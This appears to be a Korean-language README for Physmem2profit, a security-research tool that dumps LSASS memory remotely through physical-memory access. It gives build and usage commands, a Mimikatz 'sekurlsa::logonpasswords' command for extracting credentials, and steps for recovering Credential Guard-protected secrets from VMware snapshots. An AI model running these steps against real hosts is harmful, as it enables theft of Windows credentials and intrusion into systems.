
Physmem2profit can be used to create a minidump of a target hosts' LSASS process by analysing physical memory remotely
Physmem2profit은 원격으로 물리 메모리를 분석하여 대상 호스트의 LSASS 프로세스에 대한 미니덤프를 생성하는 데 사용할 수 있습니다. 이 연구의 목적은 자격 증명 도용에 대한 대안적인 접근 방식을 제안하고 물리 메모리에 접근할 수 있는 다른 드라이버를 지원하도록 확장할 수 있는 모듈식 프레임워크를 만드는 것입니다. Physmem2profit은 Mimikatz로 추가 분석할 수 있는 LSASS의 미니덤프(.dmp)를 생성합니다. 이 도구는 Cobalt Strike를 요구하지 않지만 SOCKS 프록시를 통한 beacon에서도 정상적으로 작동합니다.
아이디어는 아래 그림에 나와 있습니다:

이 도구는 두 가지 구성 요소로 이루어져 있습니다:
physmem2profit.exe
physmem2profit Python 모듈
git clone --recurse-submodules https://github.com/FSecureLABS/physmem2profit.gitphysmem2profit/server/Physmem2profit.sln을 빌드합니다.bash physmem2profit/client/install.shphysmem2profit.exe [--ip IP] [-p PORT] [--hidden] [--verbose]를 실행합니다.
source physmem2profit/client/.env/bin/activate를 실행합니다. 이 명령은 install.sh가 생성한 virtualenv를 활성화합니다.cd physmem2profit/client를 실행하고 python3 physmem2profit --host HOST [--port PORT] [--mode MODE] [--driver DRIVER ] [--instal DRIVER_PATH_ON_TARGET] [--label LABEL_FOR_MEMORY_DUMP]를 실행합니다.
physmem2profit.exe가 대상 머신에서 실행 중이어야 합니다.output/[label]-[date]-lsass.dmp에 기록됩니다.mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit"를 실행합니다.Credential Guard로 보호되는 자격 증명을 해독하려면 Secure World에 저장된 암호화 키에 접근해야 합니다. 테스트 목적으로 Physmem2profit은 VMware Fusion/Workstation 스냅샷(.vmem 파일)에서 Secure World의 데이터를 검색하는 것을 지원합니다. 이를 통해 Mimikatz를 사용하여 Credential Guard로 보호되는 자격 증명을 해독할 수 있습니다.
msinfo32를 실행하여 Virtualization-based security Services Running이 Credential Guard로 표시되는지 확인합니다.python3 physmem2profit --mode dump --vmem /tmp/Win10-Snapshot1.vmem --label credential-guard-test
output/[label]-[date]-lsass.dmp에 기록됩니다. 미니덤프에는 Secure World의 데이터를 보관하는 특수 스트림이 포함되어 있어 Mimikatz가 암호화 키를 찾을 수 있습니다.output/[label]-[date]-secure-world.raw에도 저장됩니다.mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit"를 실행합니다.S3 Resume 펌웨어 취약점을 악용하여 Credential Guard를 우회하는 지원은 우리의 Disobey 발표에서 시연되었으며 곧 제공될 예정입니다 :).
Rethinking Credential Theft | 자격 증명 도용에 이 접근 방식을 선택한 이유를 설명하는 블로그 게시물
Physmem2profit은 @b3arr0와 @TimoHirvonen이 개발했습니다.
기여해 주신 분들: